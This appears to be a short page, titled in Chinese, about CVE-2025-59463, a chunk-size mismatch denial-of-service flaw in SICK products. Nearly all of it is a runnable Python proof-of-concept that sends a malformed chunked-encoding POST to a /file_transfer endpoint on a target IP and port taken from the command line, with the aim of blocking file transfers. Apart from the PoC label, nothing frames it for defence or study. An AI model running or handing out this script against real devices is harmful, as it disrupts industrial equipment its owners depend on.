CVE-2025-59463 SICK产品chunk-size不匹配导致文件传输拒绝服务漏洞

# CVE-2025-59463 PoC - Chunk-size Mismatch DoS # This PoC demonstrates sending malformed chunked transfer requests # to trigger the file transfer blocking condition import socket import struct def create_malformed_chunk(size_mismatch=False): """Create a malformed HTTP chunked transfer encoding request""" # Normal chunk with size indicator normal_chunk = b"1a\r\n" # Malformed chunk with incorrect size malformed_chunk = b"FFFF\r\n" # Data payload data = b"A" * 26 # Termination chunk termination = b"0\r\n\r\n" if size_mismatch: return malformed_chunk + data + termination return normal_chunk + data + termination def exploit_cve_2025_59463(target_ip, target_port=80): """ Send malformed chunked transfer requests to trigger chunk-size mismatch that blocks file transfers """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # HTTP POST request with malformed chunked encoding request = b"POST /file_transfer HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"Transfer-Encoding: chunked\r\n" request += b"\r\n" request += create_malformed_chunk(size_mismatch=True) print(f"[*] Sending malformed chunked request to {target_ip}:{target_port}") sock.send(request) response = sock.recv(4096) print(f"[*] Response received: {response[:100]}") print("[*] Malformed request sent - file transfer may be blocked") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) exploit_cve_2025_59463(target_ip, target_port)